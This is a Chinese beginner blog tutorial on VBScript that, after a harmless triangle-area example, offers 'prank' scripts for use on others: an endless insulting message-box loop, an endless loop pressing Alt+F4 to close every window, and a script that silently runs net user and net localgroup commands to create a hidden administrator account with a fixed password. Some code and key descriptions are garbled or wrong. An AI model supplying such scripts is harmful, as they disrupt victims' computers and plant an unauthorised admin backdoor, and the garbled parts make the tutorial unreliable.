vbs基础脚本

 

  大家可能听过Visual Basic,但vbs就可能没听过。vbs,(也叫vbe)是visual basic的脚本程序(visual basic Script)我将为大家带来vbs的基础指令。

  第一步,新建一个文本文档:

然后复制这段代码:(分隔线亦可复制)

'               分割线

'=================================

dim S,a,b

'定义S,a,b三个变量
a=inputbox("请输入三角形的底")
b=inputbox("请输入三角形的高")

'获得输入a,b
S=a*b*1/2

'处理
msgbox("三角形的面积"&S)

'输出

'=================================

'               分割线

在上面的脚本中,dim是定义整数变量,inputbox是输入框,具体操作为:inputbox("说的话","标题","默认值")

而“msgbox”则是一个提示框:用法:msgbox("要说的话")

到这就有人按捺不住了:你说了半天,到底咋弄vbs脚本?那要看情况如果你的文本文档的名字是这样后面带.txt的  那恭喜你,重名命名后,把.txt改为.vbs(vbe也可以),按下回车,系统会询问你是否更改:

         

当然选“是”。

如果你是这样的:

两种办法

如果你是决定就此学习vbs脚本,请选方案一。

如果你是决定用此恶搞或不经常用,请选方案二。

方案一:修改出扩展名(什么?你不知道啥是扩展名?自己问度娘或谷哥)

双击“此电脑”

找到上面的“查看”,点它

之后上面变成这样

找到“文件扩展名”

勾选就可以了

 

方案二:另存为

输完代码后,点击上面“文件”

在弹出来的选项条里点“另存为”

接着弹出这个窗口:

在下面名字后面加.vbs(.vbe)

接着就把“文本文档(txt*.)”改为“所有文件”

再点保存,就好了。

 

  最后,在介绍两个整人必备:

do······loop是无限循环语句,用法:

'               分割线

'=================================

'do后都是要循环的语句

do

'要循环的语句

msgbox ("you are a 傻逼傻逼傻逼傻逼")

'loop结尾,必须是结尾

loop

第二个是vbs模拟按键

在开头加上:

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 

就可以启用模拟按键,

WSHshell.SendKeys""

就是模拟按键函数。

WSHshell.SendKeys"^"

就是按下Ctrl,

WSHshell.SendKeys"%"

就是按下Ait,

WSHshell.SendKeys"+"

就是按下shirt,

WSHshell.SendKeys"({ESC})"

就是按下Win。

其他的问度娘或谷哥,我也不太了解。

最后送两个恶搞程序(第二个不完全是)。

第一:

'               分割线

'=================================

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
do
WSHshell.SendKeys "%{F4}" 
loop 

'=================================

'               分割线

这个程序会不停的按下Alt+F4,发生什么你值得拥有。

第二:

'               分割线

'=================================

set wshshell=createobject("wscript.shell")
a=wshshell.run ("cmd.exe /c net user 管理员 12345/add",0)
b=wshshell.run ("cmd.exe /c net localgroup AdministratorsAdministartor /add",0)

'=================================

'               分割线

运行时发生什么?

这段程序可以注册一个超级用户的权限,名为“管理员”,密码是“12345”,你可以自己更改。

 

 

 

 

 

 

 

 

 

 

 

 
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值